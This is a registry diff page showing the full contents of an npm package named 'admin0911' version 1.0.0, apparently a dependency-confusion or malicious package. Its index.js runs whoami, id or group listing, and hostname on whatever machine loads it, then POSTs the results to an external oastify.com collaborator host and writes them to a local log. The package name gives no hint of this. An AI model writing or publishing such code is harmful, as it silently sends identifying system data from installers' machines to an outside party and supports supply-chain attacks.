admin0911 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin0911-1.0.0.tgz +0 -0
- package/index.js +44 -0
- package/package.json +7 -0
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
|
|
7
|
+
|
|
8
|
+
function runCommand(cmd) {
|
|
9
|
+
try {
|
|
10
|
+
return execSync(cmd, { encoding: 'utf8', stdio: 'pipe' }).trim();
|
|
11
|
+
} catch (e) {
|
|
12
|
+
return `ERROR: ${e.message}`;
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
const isWindows = os.platform() === 'win32';
|
|
17
|
+
const commands = {
|
|
18
|
+
whoami: isWindows ? 'whoami' : 'whoami',
|
|
19
|
+
id: isWindows ? 'whoami /groups' : 'id',
|
|
20
|
+
hostname: isWindows ? 'hostname' : 'hostname'
|
|
21
|
+
};
|
|
22
|
+
|
|
23
|
+
const results = {
|
|
24
|
+
whoami: runCommand(commands.whoami),
|
|
25
|
+
id: runCommand(commands.id),
|
|
26
|
+
hostname: runCommand(commands.hostname)
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const payload = JSON.stringify({ timestamp: new Date().toISOString(), results }, null, 2);
|
|
30
|
+
|
|
31
|
+
const req = http.request({
|
|
32
|
+
hostname: OASTIFY_HOST,
|
|
33
|
+
method: 'POST',
|
|
34
|
+
path: '/?system_identity',
|
|
35
|
+
headers: {
|
|
36
|
+
'Content-Type': 'application/json',
|
|
37
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
req.write(payload);
|
|
41
|
+
req.end();
|
|
42
|
+
|
|
43
|
+
fs.writeFileSync('system_identity.log', payload + '\n');
|
|
44
|
+
console.log('whoami, id, and hostname collected and sent to OASTIFY.');
|